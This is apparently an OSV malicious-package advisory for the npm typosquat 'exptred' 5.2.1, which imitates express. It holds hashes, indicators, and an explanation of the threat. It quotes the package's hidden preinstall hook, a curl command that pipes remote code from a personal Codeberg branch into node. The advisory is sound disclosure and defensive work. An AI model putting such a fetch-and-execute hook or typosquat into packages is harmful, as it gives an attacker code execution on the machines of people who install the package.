{"id":"MAL-2026-17246","summary":"Malicious code in exptred (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (d91842ab3e5c93f5689a985b63f8de5455910d88d6815ee35f2d35d27f8a4cf7)\nnpm package `exptred@5.2.1` is a typosquat of `express`: package.json copies express's description ('Fast, unopinionated, minimalist web framework'), author (TJ Holowaychuk), repository (expressjs/express), and homepage (expressjs.com), and index.js re-exports lib/express. The tarball adds a `preinstall` lifecycle script that pipes remote JavaScript into `node`: `curl https://web.archive.org/web/https://codeberg.org/hellscripter/install-scripts/... | node`. On `npm install`, whatever bytes the web.archive.org-proxied Codeberg branch currently returns are executed on the installer's host. The source is a personal Codeberg user's raw branch content — mutable, non-publisher, unpinned, and integrity-unchecked — so the operator of that branch controls arbitrary code execution on every machine that installs the package.\n","modified":"2026-09-29T15:00:05.477591637Z","published":"2026-09-29T14:39:46Z","database_specific":{"malicious-packages-origins":[{"id":"IN-MAL-2026-020628","import_time":"2026-09-29T14:44:37.233841374Z","modified_time":"2026-09-29T14:39:46Z","sha256":"d91842ab3e5c93f5689a985b63f8de5455910d88d6815ee35f2d35d27f8a4cf7","source":"amazon-inspector","versions":["5.2.1"]}]},"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/exptred/v/5.2.1"}],"affected":[{"package":{"name":"exptred","ecosystem":"npm","purl":"pkg:npm/exptred"},"versions":["5.2.1"],"database_specific":{"cwes":[{"description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code","cweId":"CWE-506"}],"indicators":{"package_integrity":[{"filename":"exptred-5.2.1.tgz","hashes":{"sha512_sri":"sha512-AQMYnjWtWs57EmuFXNticiFqhjSKj4dk5TSOdLU+26miItqLDRS0V18kp9YTDJ1Rp2XLjfRZ6nvCLN6VqxeewQ==","sha1":"e24f6b5543006e0ae68be510b3513abd9579cf43"}}],"evidence_files":[{"path":"package.json","sha256":"9e8a19929535f0c5f1a183166354fe3a3a5a0d492a58fbe68823cca0f5ac8498","tlsh":"d751da21cc0e8c6326c5a2dd3c68a542612188078e41f81cf769539c8f8e52f71b9fbf"}]},"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/exptred/MAL-2026-17246.json"}}],"schema_version":"1.9.0","credits":[{"name":"Amazon Inspector","contact":["inspector-research@amazon.com"],"type":"FINDER"}]}